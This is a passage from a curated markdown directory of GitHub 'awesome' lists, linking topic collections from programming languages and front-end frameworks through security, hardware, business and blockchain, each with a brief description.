- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
- [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API.
- [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
- [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [TypeDB](https://github.com/vaticle/typedb-awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
- [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
- [VLC](https://github.com/mfkl/awesome-vlc#readme) - Cross-platform media player software and streaming server.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
- [Billing](https://github.com/kdeldycke/awesome-billing#readme) - Payments, invoicing, pricing, accounting, marketplace, fraud, and business intelligence.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
- [Internships](https://github.com/lodthe/awesome-internships#readme) - CV writing guides and companies that hire interns.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
